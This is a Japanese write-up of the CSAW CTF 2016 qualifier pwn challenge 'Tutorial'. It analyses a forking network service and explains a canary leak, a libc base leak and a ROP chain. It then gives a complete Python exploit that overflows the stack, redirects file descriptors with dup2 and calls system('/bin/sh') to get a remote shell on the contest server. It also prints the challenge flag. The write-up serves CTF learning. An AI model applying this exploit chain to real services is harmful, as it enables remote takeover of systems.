csaw ctf 2016 qualsのTutorialのwriteup

Tutorial (pwn 200)

検分

strippedでないx86_64バイナリ。libcももらえる。
NXあり、カナリーあり、PIEなし。

挙動は大雑把に、

void priv(){
  /*
  ルートディレクトリを/home/tutorialにしたり、
  tutorialのuid,gidに変更したりする。
  */
}

func1(int fd){
  void* p = dlsym(-1,"puts"); //[rbp-0x48]
  write(fd,"rifarense");
  sprintf(rbp-0x40,"%p\n",p);
  write(fd,rbp-0x40,len=15);
}

func2(int fd){
  bzero(rbp-0x140,0x12c);
  write(fd,"timetotext .. " ">");
  read(fd,rbp-0x140,len=0x1cc);
  write(fd,rbp-0x140,len=0x144);
}

int main(){
  priv();
  /*
  あのportをbindしてforkして
  listenするたぐいのやつ。argv[0]がポート番号になる。
  */
  for(;;){
    /*
    入力によって、func1かfunc2が実行できる
    */
  }
}

みたいな感じでした。

func2のread(fd,rbp-0x140,len=0x1cc);が明らかにバッファオーバーフロー。いちおうカナリーはあるのだけれど、write(fd,rbp-0x140,len=0x144);があるので、一回目は短い入力でカナリーを得る->二回目に上書き、でよい。(なぜなら、カナリーはプロセスで共通、かつwriteはヌル文字関係なく吐き出してくれる)

さて、上書きできるのだが、スタックが実行不能である。また、rbpの下4byteしかwriteで吐き出されないのでスタックの位置が不明(まあこれでも推測 or 全探索可能なのかもしれないが)。また、x86_64なので関数呼び出し時に引数をレジスタに入れてやらないといけない。よって、ROPを用いたexploitを書くことになる(はじめてのROP!!)。

ここで、有難いことにfunc1でputs-0x500のアドレスが得られるのでlibcのbaseアドレスが得られる。ので、libcの無限にあるropガジェットが使い放題になるのでこれを用いてexploitを書く。

実際にexploitを作る

まず、そもそもtutorialという名前のユーザーがいないとバイナリが動かないので、katagaitai CTF勉強会 #5 pwnables編 - PlaidCTF 2015 Pwnable620 tpを参考にしつつユーザーを作る。あとはsudo権限つけてgdbで実行してやると動いた(ただ、なんかプログラムを終了させてもポートが埋まったままだったりしていた...)。

exploitコードには例のごとくpythonを用いる。カナリーとputs-0x500を得るところまではわりと淡々と書ける。

ROPガジェットを調べるために、rp++をx64でスタックバッファオーバーフローをやってみる - ももいろテクノロジーを参考にしつつ入れる。同ページを参考にしつつ、systemとかputsとかwriteとかの位置を 『 nm -D 』を用いて、"/bin/sh" の位置を 『 strings -tx 』を用いて調べる。また、rp++でpop rdi,pop rsi,pop rdxの位置を調べておく。(今回、手元のlibcと与えられたlibcをごっちゃにして位置を調べてて、位置の差分が合わねえとか言って時間を無限に溶かしてしまったので以降気をつけたい。手元のlibcは ldd tutorial とかで調べられるとのこと。)

材料が集まったらまずはwrite(fd,"/bin/sh",7); が手元とリモートで動くかどうかを確かめた。fdは直前にwriteを呼んでいたのでrdiに入りっぱなしであって推測してやる必要がなかった(多分4あたりだろうけれど)。わりとすんなり動いたはず。

次にsystem("/bin/sh"); を呼び出すコードを書く。ただし標準入出力は手の届かないとこにあるのでdup2を用いてfdにつないでやる。具体的には dup2(fd,0); dup2(fd,1); system("/bin/sh"); としてやればうまくいった。これも一発で動いて気持ちよかった。

FLAG{3ASY_R0P_R0P_P0P_P0P_YUM_YUM_CHUM_CHUM}。完。

ソースコード

#coding: utf-8
from socket import *
import time

isgaibu = False
isgaibu = True

p = socket(AF_INET, SOCK_STREAM)
if isgaibu:
	p.connect(("pwn.chal.csaw.io", 8002))
	raw_input('gdb$')	
else:
	p.connect(("localhost", 8006)) #8006 const.
	time.sleep(1)
	raw_input('gdb$')

def getunt(c):
	res = ""
	while res=='' or res[-len(c):]!=c:
		#print res[-len(c):],
		res += p.recv(1)
	print res
	return res

def addr2s(x):
	res = ""
	for i in xrange(8):
		res += chr(x % 256)
		x /= 256
	return res

def s2hex(s):
	return map(lambda c: hex(ord(c)),s)
	
def s2addr(s):
	res = 0
	for i in xrange(8):
		res *= 256
		res += ord(s[7-i])
	return res
	
def shell():
	while True:
		p.send(raw_input() + '\n')
		print p.recv(1024)

def getlibbase():
	#print p.recv(1024)
	getunt('\n>')
	p.send('1')
	time.sleep(0.5)
	s = getunt('-Tuto')
	res = s.split()[0].split(':')[1][2:]
	#print res
	res = int(res,16)
	return res
	
def getcanary():
	getunt('\n>')
	p.send('2')
	getunt('\n>')
	p.send('xx')
	s = getunt('-Tuto')
	print 's..',s
	s = s[:-5]
	print hex(len(s))
	print map(ord,s)
	return s[-12:-4]
	
canary = getcanary()

puts_ptr = getlibbase() + 0x500


'''

手元
puts
0000000000070a30
system
00000000000443d0
rdi
0x000218a2: pop rdi ; ret  ;  (521 found)
rsi
0x000232f5: pop rsi ; ret  ;  (158 found)
rdx
0x00001b92: pop rdx ; ret  ;  (5 found)
rcx
0x000ea8ea: pop rcx ; pop rbx ; ret  ;  (1 found)

'''


if isgaibu:
	dup2_diff = 0x0ebe90
	puts_diff = 0x000000000006fd60
	system_diff = 0x0000000000046590
	write_diff = 0xeb700
	rdi_diff = 0x00022b9a
	rsi_diff = 0x00024885
	rdx_diff = 0x00001b8e
	binsh_diff = 0x17c8c3 
else:
	dup2_diff = 0x0f7b90 
	puts_diff = 0x0000000000070a30
	system_diff = 0x00000000000443d0
	write_diff = 0xf74d0
	rdi_diff = 0x000218a2
	rsi_diff = 0x000232f5
	rdx_diff = 0x00001b92
	binsh_diff = 0x18c3dd
	
libc_base = puts_ptr - puts_diff

pop_rdi_ptr = rdi_diff + libc_base
pop_rsi_ptr = rsi_diff + libc_base
pop_rdx_ptr = rdx_diff + libc_base
binsh_ptr = binsh_diff + libc_base
write_ptr = write_diff + libc_base

dup2_ptr = dup2_diff + libc_base
system_ptr = system_diff + libc_base

#exit(-1)

def sendshec(s):
	p.send('2')
	print p.recv(1024)
	p.send('x' * 0x138 + canary + s)
	print p.recv(1024)

#sendshec('hogehasefg')

#dup2(4,1); とかのあとにsystemですかねー?
#fd は4あたりかな-.
ebp_fake = 0xffffe3b0
sc = ""
'''
sc += addr2s(ebp_fake)
sc += addr2s(pop_rsi_ptr) #rdiはそのままでよい。
sc += addr2s(binsh_ptr) 
sc += addr2s(pop_rdx_ptr) 
sc += addr2s(7)
sc += addr2s(write_ptr)
'''

sc += addr2s(ebp_fake)
sc += addr2s(pop_rsi_ptr) #rdiはそのままでよい。
sc += addr2s(0) 
sc += addr2s(dup2_ptr)
sc += addr2s(pop_rsi_ptr) #rdiはそのままでよい。
sc += addr2s(1) 
sc += addr2s(dup2_ptr)
sc += addr2s(pop_rdi_ptr) 
sc += addr2s(binsh_ptr)
sc += addr2s(system_ptr)

sendshec(sc)

time.sleep(1)

#print p.recv(1024)
shell()